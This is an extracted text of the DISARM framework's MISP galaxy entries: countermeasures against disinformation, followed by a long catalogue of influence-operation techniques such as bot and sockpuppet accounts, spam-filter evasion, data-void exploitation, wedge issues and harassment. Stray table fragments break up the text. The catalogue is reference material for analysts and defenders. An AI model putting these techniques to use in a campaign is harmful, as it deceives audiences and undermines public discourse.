Table 1084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Create friction by rate-limiting engagement

Create participant friction. Includes Make repeat voting hard, and throttle number of forwards.

The tag is: `misp-galaxy:disarm-countermeasures="Create friction by rate-limiting engagement"`

Table 1085. Table References

<table>
<thead>
<tr>

Ask media not to report false information

Train media to spot and respond to misinformation, and ask them not to post or transmit misinformation they've found.

The tag is: `misp-galaxy:disarm-countermeasures="Ask media not to report false information"`

Ban incident actors from funding sites

Ban misinformation creators and posters from funding sites

The tag is: `misp-galaxy:disarm-countermeasures="Ban incident actors from funding sites"`

Better tell your country or organisation story

Civil engagement activities conducted on the part of EFP forces. NATO should likewise provide support and training, where needed, to local public affairs and other communication personnel. Local government and military public affairs personnel can play their part in creating and disseminating entertaining and sharable content that supports the EFP mission.

The tag is: `misp-galaxy:disarm-countermeasures="Better tell your country or organisation story"`

Have a disinformation response plan

e.g. Create a campaign plan and toolkit for competition short of armed conflict (this used to be called “the grey zone”). The campaign plan should account for own vulnerabilities and strengths, and not over-rely on any one tool of statecraft or line of effort. It will identify and employ a broad
spectrum of national power to deter, compete, and counter (where necessary) other countries’ approaches, and will include understanding of own capabilities, capabilities of disinformation creators, and international standards of conduct to compete in, shrink the size, and ultimately deter use of competition short of armed conflict.

The tag is: `misp-galaxy:disarm-countermeasures="Have a disinformation response plan"`

**Table 1126. Table References**

**Create a healthier news environment**

Free and fair press: create bipartisan, patriotic commitment to press freedom. Note difference between news and editorialising. Build alternative news sources: create alternative local-language news sources to counter local-language propaganda outlets. Delegitimize the 24 hour news cycle. includes Provide an alternative to disinformation content by expanding and improving local content: Develop content that can displace geopolitically-motivated narratives in the entire media environment, both new and old media alike.

The tag is: `misp-galaxy:disarm-countermeasures="Create a healthier news environment"`

**Table 1135. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Improve Coordination amongst stakeholders: public and private**

Coordinated disinformation challenges are increasingly multidisciplinary, there are few organisations within the national security structures that are equipped with the broad-spectrum capability to effectively counter large-scale conflict short of war tactics in real-time. Institutional hurdles currently impede diverse subject matter experts, hailing from outside of the traditional national security and foreign policy disciplines (e.g., physical science, engineering, media, legal, and economics fields), from contributing to the direct development of national security countermeasures to emerging conflict short of war threat vectors. A Cognitive Security Action Group (CSAG), akin to the Counterterrorism Security Group (CSG), could drive interagency alignment across equivalents of DHS, DoS, DoD, Intelligence Community, and other implementing agencies, in areas including strategic narrative, and the nexus of cyber and information operations.

The tag is: *misp-galaxy:disarm-countermeasures="Improve Coordination amongst stakeholders: public and private"*

**Table 1136. Table References**

detection of a weak signal through global noise

Grey zone threats are challenging given that warning requires detection of a weak signal through global noise and across threat vectors and regional boundaries. Three interconnected grey zone elements characterise the nature of the activity: Temporality: The nature of grey zone threats truly requires a “big picture view” over long timescales and across regions and functional topics. Attribution: requiring an “almost certain” or “nearly certain analytic assessment before acting costs time and analytic effort Intent: judgement of adversarial intent to conduct grey zone activity. Indeed, the purpose of countering grey zone threats is to deter adversaries from fulfilling their intent to act. While attribution is one piece of the puzzle, closing the space around intent often means synthesising multiple relevant indicators and warnings, including the state’s geopolitical ambitions, military ties, trade and investment, level of corruption, and media landscape, among others.

The tag is: misp-galaxy:disarm-detections="detection of a weak signal through global noise"

authors

DISARM Project
Facilitate State Propaganda

Organise citizens around pro-state messaging. Coordinate paid or volunteer groups to push state propaganda.

The tag is: misp-galaxy:disarm-techniques="Facilitate State Propaganda"

Table 1252. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consistent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplification practices.

The tag is: misp-galaxy:disarm-techniques="Leverage Existing Narratives"

Table 1253. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Develop Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centred on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on. These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: misp-galaxy:disarm-techniques="Develop Competing Narratives"

Cultivate Ignorant Agents

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web
sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state’s own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as “useful idiots” or "unwitting agents”.

The tag is: *misp-galaxy:disarm-techniques="Cultivate Ignorant Agents"

Hijack Hashtags

Hashtag hijacking occurs when users “[use] a trending hashtag to promote topics that are substantially different from its recent context” (VanDam and Tan, 2016) or “to promote one’s own social media agenda” (Darius and Stephany, 2019).

The tag is: `misp-galaxy:disarm-techniques="Hijack Hashtags"`
Trial Content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates.

The tag is: `misp-galaxy:disarm-techniques="Trial Content"`

Leverage Conspiracy Theory Narratives

"Conspiracy narratives" appeal to the human desire for explanatory order, by invoking the participation of powerful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalised or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the "firehose of falsehoods" model.

The tag is: `misp-galaxy:disarm-techniques="Leverage Conspiracy Theory Narratives"`

Amplify Existing Conspiracy Theory Narratives

An influence operation may amplify an existing conspiracy theory narrative that aligns with its incident or campaign goals. By amplifying existing conspiracy theory narratives, operators can leverage the power of the existing communities that support and propagate those theories without needing to expend resources creating new narratives or building momentum and buy in around new narratives.

The tag is: `misp-galaxy:disarm-techniques="Amplify Existing Conspiracy Theory Narratives"`
Develop Original Conspiracy Theory Narratives

While this requires more resources than amplifying existing conspiracy theory narratives, an influence operation may develop original conspiracy theory narratives in order to achieve greater control and alignment over the narrative and their campaign goals. Prominent examples include the USSR’s Operation INFEKTION disinformation campaign run by the KGB in the 1980s to plant the idea that the United States had invented HIV/AIDS as part of a biological weapons research project at Fort Detrick, Maryland. More recently, Fort Detrick featured prominently in a new conspiracy theory narratives around the origins of the COVID-19 outbreak and pandemic.

The tag is: `misp-galaxy:disarm-techniques="Develop Original Conspiracy Theory Narratives"`

Distort Facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: `misp-galaxy:disarm-techniques="Distort Facts"`

Reframe Context

Reframing context refers to removing an event from its surrounding context to distort its intended meaning. Rather than deny that an event occurred, reframing context frames an event in a manner that may lead the target audience to draw a different conclusion about its intentions.

The tag is: `misp-galaxy:disarm-techniques="Reframe Context"`
Edit Open-Source Content

An influence operation may edit open-source content, such as collaborative blogs or encyclopaedias, to promote its narratives on outlets with existing credibility and audiences. Editing open-source content may allow an operation to post content on platforms without dedicating resources to the creation and maintenance of its own assets.

The tag is: `misp-galaxy:disarm-techniques="Edit Open-Source Content"`

</tr>
</tbody>
</table>

Bait Legitimate Influencers

Credibility in a social media environment is often a function of the size of a user's network. "Influencers" are so-called because of their reach, typically understood as: 1) the size of their network (i.e. the number of followers, perhaps weighted by their own influence); and 2) The rate at which their comments are re-circulated (these two metrics are related). Add traditional media players at all levels of credibility and professionalism to this, and the number of potential influential carriers available for unwitting amplification becomes substantial. By targeting high-influence people and organisations in all types of media with narratives and content engineered to appeal their emotional or ideological drivers, influence campaigns are able to add perceived credibility to their messaging via saturation and adoption by trusted agents such as celebrities, journalists and local leaders.

The tag is: `misp-galaxy:disarm-techniques="Bait Legitimate Influencers"`

<table>

<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
Demand Insurmountable Proof

Campaigns often leverage tactical and informational asymmetries on the threat surface, as seen in the Distort and Deny strategies, and the "firehose of misinformation". Specifically, conspiracy theorists can be repeatedly wrong, but advocates of the truth need to be perfect. By constantly escalating demands for proof, propagandists can effectively leverage this asymmetry while also priming its future use, often with an even greater asymmetric advantage. The conspiracist is offered freer rein for a broader range of "questions" while the truth teller is burdened with higher and higher standards of proof.

The tag is: *misp-galaxy:disarm-techniques="Demand Insurmountable Proof"*

</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
</tbody>
</table>

Seed Kernel of Truth

Wrap lies or altered context/facts around truths. Influence campaigns pursue a variety of objectives with respect to target audiences, prominent among them: 1. undermine a narrative commonly referenced in the target audience; or 2. promote a narrative less common in the target audience, but preferred by the attacker. In both cases, the attacker is presented with a heavy lift. They must change the relative importance of various narratives in the interpretation of events, despite contrary tendencies. When messaging makes use of factual reporting to promote these adjustments in the narrative space, they are less likely to be dismissed out of hand; when messaging can juxtapose a (factual) truth about current affairs with the (abstract) truth explicated in these narratives, propagandists can undermine or promote them selectively. Context matters.

The tag is: *misp-galaxy:disarm-techniques="Seed Kernel of Truth"*

<table>

</table>

Use Fake Experts

Use the fake experts that were set up during Establish Legitimacy. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias

The tag is: `misp-galaxy:disarm-techniques="Use Fake Experts"`
Use Search Engine Optimisation

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: `misp-galaxy:disarm-techniques="Use Search Engine Optimisation"`

Censor Social Media as a Political Force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transparency reports).

The tag is: `misp-galaxy:disarm-techniques="Censor Social Media as a Political Force"`

Harass

Threatening or harassing believers of opposing narratives refers to the use of intimidation techniques, including cyberbullying and doxing, to discourage opponents from voicing their dissent. An influence operation may threaten or harass believers of the opposing narratives to deter individuals from posting or proliferating conflicting content.

The tag is: `misp-galaxy:disarm-techniques="Harass"`
Boycott/"Cancel" Opponents

Cancel culture refers to the phenomenon in which individuals collectively refrain from supporting an individual, organisation, business, or other entity, usually following a real or falsified controversy. An influence operation may exploit cancel culture by emphasising an adversary's problematic or disputed behaviour and presenting its own content as an alternative.

The tag is: *misp-galaxy:disarm-techniques*="Boycott/"Cancel" Opponents"

</tbody>
</table>

**Flooding the Information Space**

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of
content to control/shape online conversations and/or drown out opposing points of view. Bots
and/or patriotic trolls are effective tools to achieve this effect.

The tag is: misp-galaxy:disarm-techniques="Flooding the Information Space"

Table 1295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Trolls Amplify and Manipulate**

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating
to support individuals/narratives from the entire political spectrum (left/right binary). Operating
with increased emphasis on promoting local content and promoting real Twitter users generating
their own, often divisive political content, as it's easier to amplify existing content than create
new/original content. Trolls operate wherever there's a socially divisive issue (issues that can/are
be politicized).

The tag is: misp-galaxy:disarm-techniques="Trolls Amplify and Manipulate"

Table 1296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Hijack Existing Hashtag**

Take over an existing hashtag to drive exposure.
Bots Amplify via Automated Forwarding and Reposting

Automated forwarding and reposting refer to the proliferation of operation content using automated means, such as artificial intelligence or social media bots. An influence operation may use automated activity to increase content exposure without dedicating the resources, including personnel and time, traditionally required to forward and repost content. Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (i.e., automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.

Utilise Spamoflauge

Spamoflauge refers to the practice of disguising spam messages as legitimate. Spam refers to the use of electronic messaging systems to send out unrequested or unwanted messages in bulk. Simple methods of spamoflauge include replacing letters with numbers to fool keyword-based email spam filters, for example, "you've 50n our jackp0t!". Spamoflauge may extend to more complex techniques such as modifying the grammar or word choice of the language, casting messages as images which spam detectors cannot automatically read, or encapsulating messages in password protected attachments, such as .pdf or .zip files. Influence operations may use spamoflauge to avoid spam filtering systems and increase the likelihood of the target audience receiving operation messaging.
**Conduct Swarming**

Swarming refers to the coordinated use of accounts to overwhelm the information space with operation content. Unlike information flooding, swarming centres exclusively around a specific event or actor rather than a general narrative. Swarming relies on “horizontal communication” between information assets rather than a top-down, vertical command-and-control approach.

The tag is: *misp-galaxy:disarm-techniques*="Conduct Swarming"

**Conduct Keyword Squatting**

Keyword squatting refers to the creation of online content, such as websites, articles, or social media accounts, around a specific search engine-optimized term to overwhelm the search results of that term. An influence may keyword squat to increase content exposure to target audience members who query the exploited term in a search engine and manipulate the narrative around the term.

The tag is: *misp-galaxy:disarm-techniques*="Conduct Keyword Squatting"

**Inauthentic Sites Amplify News and Narratives**

Inauthentic sites circulate cross-post stories and amplify narratives. Often these sites have no masthead, bylines or attribution.

The tag is: *misp-galaxy:disarm-techniques*="Inauthentic Sites Amplify News and Narratives"

**Organise Events**

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives.
Pay for Physical Action

Paying for physical action occurs when an influence operation pays individuals to act in the physical realm. An influence operation may pay for physical action to create specific situations and frame them in a way that supports operation narratives, for example, paying a group of people to burn a car to later post an image of the burning car and frame it as an act of protest.

Conduct Symbolic Action

Symbolic action refers to activities specifically intended to advance an operation’s narrative by signalling something to the audience, for example, a military parade supporting a state’s narrative of military superiority. An influence operation may use symbolic action to create falsified evidence supporting operation narratives in the physical information space.

Play the Long Game

Play the long game refers to two phenomena: 1. To plan messaging and allow it to grow organically without conducting your own amplification. This is methodical and slow and requires years for the message to take hold 2. To develop a series of seemingly disconnected messaging narratives that eventually combine into a new narrative.
Continue to Amplify

continue narrative or message amplification after the main incident work has finished

The tag is: `misp-galaxy:disarm-techniques="Continue to Amplify"`

<table>
<thead>
<tr>
<th>Table 1307. Table References</th>
</tr>
</thead>
</table>

Sell Merchandise

Sell merchandise refers to getting the message or narrative into physical space in the offline world while making money

The tag is: `misp-galaxy:disarm-techniques="Sell Merchandise"`

<table>
<thead>

</tbody>
</table>

Degrade Adversary

Plan to degrade an adversary's image or ability to act. This could include preparation and use of harmful information about the adversary's actions or reputation.

The tag is: `misp-galaxy:disarm-techniques="Degrade Adversary"`
Respond to Breaking News Event or Active Crisis

Media attention on a story or event is heightened during a breaking news event, where unclear facts and incomplete information increase speculation, rumours, and conspiracy theories, which are all vulnerable to manipulation.

The tag is: `misp-galaxy:disarm-techniques="Respond to Breaking News Event or Active Crisis"`

Segment Audiences

Create audience segmentations by features of interest to the influence campaign, including political affiliation, geographic location, income, demographics, and psychographics.

The tag is: `misp-galaxy:disarm-techniques="Segment Audiences"

Geographic Segmentation

An influence operation may target populations in a specific geographic location, such as a region, state, or city. An influence operation may use geographic segmentation to Create Localised Content (see: Establish Legitimacy).

The tag is: `misp-galaxy:disarm-techniques="Geographic Segmentation"`
Demographic Segmentation

An influence operation may target populations based on demographic segmentation, including age, gender, and income. Demographic segmentation may be useful for influence operations aiming to change state policies that affect a specific population sector. For example, an influence operation attempting to influence Medicare funding in the United States would likely target U.S. voters over 65 years of age.

The tag is: `misp-galaxy:disarm-techniques="Demographic Segmentation"`

Table 1314. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Economic Segmentation

An influence operation may target populations based on their income bracket, wealth, or other financial or economic division.

The tag is: `misp-galaxy:disarm-techniques="Economic Segmentation"`

Table 1315. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Psychographic Segmentation

An influence operation may target populations based on psychographic segmentation, which uses audience values and decision-making processes. An operation may individually gather psychographic data with its own surveys or collection tools or externally purchase data from social media companies or online surveys, such as personality quizzes.

The tag is: `misp-galaxy:disarm-techniques="Psychographic Segmentation"`

Table 1316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Political Segmentation

An influence operation may target populations based on their political affiliations, especially when aiming to manipulate voting or change policy.
Determine Target Audiences

Determining the target audiences (segments of the population) who will receive campaign narratives and artefacts intended to achieve the strategic ends.

Determine Strategic Ends

These are the long-term end-states the campaign aims to bring about. They typically involve an advantageous position vis-a-vis competitors in terms of power or influence. The strategic goal may be to improve or simply to hold one’s position. Competition occurs in the public sphere in the domains of war, diplomacy, politics, economics, and ideology, and can play out between armed groups, nation-states, political parties, corporations, interest groups, or individuals.

Geopolitical Advantage

Favourable position on the international stage in terms of great power politics or regional rivalry. Geopolitics plays out in the realms of foreign policy, national security, diplomacy, and intelligence. It involves nation-state governments, heads of state, foreign ministers, intergovernmental organisations, and regional security alliances.
Domestic Political Advantage

Favourable position vis-à-vis national or sub-national political opponents such as political parties, interest groups, politicians, candidates.

The tag is: `misp-galaxy:disarm-techniques="Domestic Political Advantage"`

**Table 1321. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Economic Advantage

Favourable position domestically or internationally in the realms of commerce, trade, finance, industry. Economics involves nation-states, corporations, banks, trade blocs, industry associations, cartels.

The tag is: `misp-galaxy:disarm-techniques="Economic Advantage"`

**Table 1322. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Ideological Advantage

Favourable position domestically or internationally in the market for ideas, beliefs, and world views. Competition plays out among faith systems, political systems, and value systems. It can involve sub-national, national or supra-national movements.

The tag is: `misp-galaxy:disarm-techniques="Ideological Advantage"`

**Table 1323. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Dismiss

Push back against criticism by dismissing your critics. This might be arguing that the critics use a different standard for you than with other actors or themselves; or arguing that their criticism is
Biassed.

The tag is: misp-galaxy:disarm-techniques="Dismiss"

Table 1324. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Discredit Credible Sources**

Plan to delegitimize the media landscape and degrade public trust in reporting, by discrediting credible sources. This makes it easier to promote influence operation content.

The tag is: misp-galaxy:disarm-techniques="Discredit Credible Sources"

Table 1325. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Distort**

Twist the narrative. Take information, or artefacts like images, and change the framing around them.

The tag is: misp-galaxy:disarm-techniques="Distort"

Table 1326. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Distract**

Shift attention to a different narrative or actor, for instance by accusing critics of the same activity that they’ve accused you of (e.g. police brutality).

The tag is: misp-galaxy:disarm-techniques="Distract"

Table 1327. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Dismay

Threaten the critic or narrator of events. For instance, threaten journalists or news outlets reporting on a story.

The tag is: misp-galaxy:disarm-techniques="Dismay"

Table 1328. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Divide

Create conflict between subgroups, to widen divisions in a community

The tag is: misp-galaxy:disarm-techniques="Divide"

Table 1329. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Map Target Audience Information Environment

Mapping the target audience information environment analyses the information space itself, including social media analytics, web traffic, and media surveys. Mapping the information environment may help the influence operation determine the most realistic and popular information channels to reach its target audience. Mapping the target audience information environment aids influence operations in determining the most vulnerable areas of the information space to target with messaging.

The tag is: misp-galaxy:disarm-techniques="Map Target Audience Information Environment"

Table 1330. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Monitor Social Media Analytics

An influence operation may use social media analytics to determine which factors will increase the operation content's exposure to its target audience on social media platforms, including views, interactions, and sentiment relating to topics and content types. The social media platform itself or a third-party tool may collect the metrics.
Evaluate Media Surveys

An influence operation may evaluate its own or third-party media surveys to determine what type of content appeals to its target audience. Media surveys may provide insight into an audience’s political views, social class, general interests, or other indicators used to tailor operation messaging to its target audience.

Identify Trending Topics/Hashtags

An influence operation may identify trending hashtags on social media platforms for later use in boosting operation content. A hashtag refers to a word or phrase preceded by the hash symbol (#) on social media used to identify messages and posts relating to a specific topic. All public posts that use the same hashtag are aggregated onto a centralised page dedicated to the word or phrase and sorted either chronologically or by popularity.

Conduct Web Traffic Analysis

An influence operation may conduct web traffic analysis to determine which search engines, keywords, websites, and advertisements gain the most traction with its target audience.
Assess Degree/Type of Media Access

An influence operation may survey a target audience’s Internet availability and degree of media freedom to determine which target audience members will have access to operation content and on which platforms. An operation may face more difficulty targeting an information environment with heavy restrictions and media control than an environment with independent media, freedom of speech and of the press, and individual liberties.

The tag is: misp-galaxy:disarm-techniques="Assess Degree/Type of Media Access"

Identify Social and Technical Vulnerabilities

Identifying social and technical vulnerabilities determines weaknesses within the target audience information environment for later exploitation. Vulnerabilities include decisive political issues, weak cybersecurity infrastructure, search engine data voids, and other technical and non-technical weaknesses in the target information environment. Identifying social and technical vulnerabilities facilitates the later exploitation of the identified weaknesses to advance operation objectives.

The tag is: misp-galaxy:disarm-techniques="Identify Social and Technical Vulnerabilities"

Find Echo Chambers

Find or plan to create areas (social media groups, search term groups, hashtag groups etc) where individuals only engage with people they agree with.

The tag is: misp-galaxy:disarm-techniques="Find Echo Chambers"
Identify Data Voids

A data void refers to a word or phrase that results in little, manipulative, or low-quality search engine data. Data voids are hard to detect and relatively harmless until exploited by an entity aiming to quickly proliferate false or misleading information during a phenomenon that causes a high number of individuals to query the term or phrase. In the Plan phase, an influence operation may identify data voids for later exploitation in the operation. A 2019 report by Michael Golebiewski identifies five types of data voids. (1) “Breaking news” data voids occur when a keyword gains popularity during a short period of time, allowing an influence operation to publish false content before legitimate news outlets have an opportunity to publish relevant information. (2) An influence operation may create a “strategic new terms” data void by creating their own terms and publishing information online before promoting their keyword to the target audience. (3) An influence operation may publish content on “outdated terms” that have decreased in popularity, capitalising on most search engines’ preferences for recency. (4) “Fragmented concepts” data voids separate connections between similar ideas, isolating segment queries to distinct search engine results. (5) An influence operation may use “problematic queries” that previously resulted in disturbing or inappropriate content to promote messaging until mainstream media recontextualizes the term.

The tag is: misp-galaxy:disarm-techniques="Identify Data Voids"

Table 1338. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Existing Prejudices

An influence operation may exploit existing racial, religious, demographic, or social prejudices to further polarise its target audience from the rest of the public.

The tag is: misp-galaxy:disarm-techniques="Identify Existing Prejudices"

Table 1339. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Existing Fissures

An influence operation may identify existing fissures to pit target populations against one another or facilitate a “divide-and-conquer” approach to tailor operation narratives along the divides.

The tag is: misp-galaxy:disarm-techniques="Identify Existing Fissures"

Table 1340. Table References
Identify Existing Conspiracy Narratives/Suspicions

An influence operation may assess preexisting conspiracy theories or suspicions in a population to identify existing narratives that support operational objectives.

The tag is: *misp-galaxy:disarm-techniques*="Identify Existing Conspiracy Narratives/Suspicions"

**Table 1341. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Wedge Issues

A wedge issue is a divisive political issue, usually concerning a social phenomenon, that divides individuals along a defined line. An influence operation may exploit wedge issues by intentionally polarising the public along the wedge issue line and encouraging opposition between factions.

The tag is: *misp-galaxy:disarm-techniques*="Identify Wedge Issues"

**Table 1342. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identify Target Audience Adversaries

An influence operation may identify or create a real or imaginary adversary to centre operation narratives against. A real adversary may include certain politicians or political parties while imaginary adversaries may include falsified “deep state”62 actors that, according to conspiracies, run the state behind public view.

The tag is: *misp-galaxy:disarm-techniques*="Identify Target Audience Adversaries"

**Table 1343. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Identify Media System Vulnerabilities

An influence operation may exploit existing weaknesses in a target's media system. These weaknesses may include existing biases among media agencies, vulnerability to false news agencies on social media, or existing distrust of traditional media sources. An existing distrust among the public in the media system's credibility holds high potential for exploitation by an influence operation when establishing alternative news agencies to spread operation content.

The tag is: misp-galaxy:disarm-techniques="Identify Media System Vulnerabilities"

Table 1344. Table References

Links

Develop New Narratives

Actors may develop new narratives to further strategic or tactical goals, especially when existing narratives adequately align with the campaign goals. New narratives provide more control in terms of crafting the message to achieve specific goals. However, new narratives may require more effort to disseminate than adapting or adopting existing narratives.

The tag is: misp-galaxy:disarm-techniques="Develop New Narratives"

Table 1345. Table References

Links

Integrate Target Audience Vulnerabilities into Narrative

An influence operation may seek to exploit the preexisting weaknesses, fears, and enemies of the target audience for integration into the operation's narratives and overall strategy. Integrating existing vulnerabilities into the operational approach conserves resources by exploiting already weak areas of the target information environment instead of forcing the operation to create new vulnerabilities in the environment.

The tag is: misp-galaxy:disarm-techniques="Integrate Target Audience Vulnerabilities into Narrative"

Table 1346. Table References

Links

Reuse Existing Content

When an operation recycles content from its own previous operations or plagiarises from external operations. An operation may launder information to conserve resources that would have otherwise been utilised to develop new content.

The tag is: *misp-galaxy:disarm-techniques*="Reuse Existing Content"

Table 1347. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Use Copypasta

Copypasta refers to a piece of text that has been copied and pasted multiple times across various online platforms. A copypasta's final form may differ from its original source text as users add, delete, or otherwise edit the content as they repost the text.

The tag is: *misp-galaxy:disarm-techniques*="Use Copypasta"

Table 1348. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Plagiarise Content

An influence operation may take content from other sources without proper attribution. This content may be either misinformation content shared by others without malicious intent but now leveraged by the campaign as disinformation or disinformation content from other sources.

The tag is: *misp-galaxy:disarm-techniques*="Plagiarise Content"

</table>

Deceptively Labelled or Translated

An influence operation may take authentic content from other sources and add deceptive labels or deceptively translate the content into other languages.

The tag is: *misp-galaxy:disarm-techniques*="Deceptively Labelled or Translated"
Appropriate Content

An influence operation may take content from other sources with proper attribution. This content may be either misinformation content shared by others without malicious intent but now leveraged by the campaign as disinformation or disinformation content from other sources. Examples include the appropriation of content from one inauthentic news site to another inauthentic news site or network in ways that align with the originators licencing or terms of service.

The tag is: `misp-galaxy:disarm-techniques="Appropriate Content"`

Develop Text-Based Content

Creating and editing false or misleading text-based artefacts, often aligned with one or more specific narratives, for use in a disinformation campaign.

The tag is: `misp-galaxy:disarm-techniques="Develop Text-Based Content"`

Develop AI-Generated Text

AI-generated texts refers to synthetic text composed by computers using text-generating AI technology. Autonomous generation refers to content created by a bot without human input, also known as bot-created content generation. Autonomous generation represents the next step in automation after language generation and may lead to automated journalism. An influence operation may use read fakes or autonomous generation to quickly develop and distribute content to the target audience.

Develop Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and
narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: misp-galaxy:disarm-techniques="Develop Memes"

Create Inauthentic Accounts

Inauthentic accounts include bot accounts, cyborg accounts, sockpuppet accounts, and anonymous accounts.
Create Anonymous Accounts

Anonymous accounts or anonymous users refer to users that access network resources without providing a username or password. An influence operation may use anonymous accounts to spread content without direct attribution to the operation.

Create Cyborg Accounts

Cyborg accounts refer to partly manned, partly automated social media accounts. Cyborg accounts primarily act as bots, but a human operator periodically takes control of the account to engage with real social media users by responding to comments and posting original content. Influence operations may use cyborg accounts to reduce the amount of direct human input required to maintain a regular account but increase the apparent legitimacy of the cyborg account by occasionally breaking its bot-like behaviour with human interaction.

Create Bot Accounts

Bots refer to autonomous internet users that interact with systems or other users while imitating traditional human behaviour. Bots use a variety of tools to stay active without direct human operation, including artificial intelligence and big data analytics. For example, an individual may programme a Twitter bot to retweet a tweet every time it contains a certain keyword or hashtag. An influence operation may use bots to increase its exposure and artificially promote its content across the internet without dedicating additional time or human resources. Amplifier bots promote operation content through reposts, shares, and likes to increase the content’s online popularity.
Hacker bots are traditionally covert bots running on computer scripts that rarely engage with users and work primarily as agents of larger cyberattacks, such as a Distributed Denial of Service attacks. Spammer bots are programmed to post content on social media or in comment sections, usually as a supplementary tool. Impersonator bots pose as real people by mimicking human behaviour, complicating their detection.

The tag is: misp-galaxy:disarm-techniques="Create Bot Accounts"

Table 1374. Table References

Links

Create Sockpuppet Accounts

Sockpuppet accounts refer to falsified accounts that either promote the influence operation’s own material or attack critics of the material online. Individuals who control sockpuppet accounts also man at least one other user account. Sockpuppet accounts help legitimise operation narratives by providing an appearance of external support for the material and discrediting opponents of the operation.

The tag is: misp-galaxy:disarm-techniques="Create Sockpuppet Accounts"

Recruit Malign Actors

Operators recruit bad actors paying recruiting, or exerting control over individuals includes trolls, partisans, and contractors.

The tag is: misp-galaxy:disarm-techniques="Recruit Malign Actors"

Table 1376. Table References

Links

Recruit Contractors

Operators recruit paid contractor to support the campaign.

The tag is: misp-galaxy:disarm-techniques="Recruit Contractors"
Recruit Partisans

Operators recruit partisans (ideologically-aligned individuals) to support the campaign.

The tag is: *misp-galaxy:disarm-techniques*="Recruit Partisans"

Enlist Troll Accounts

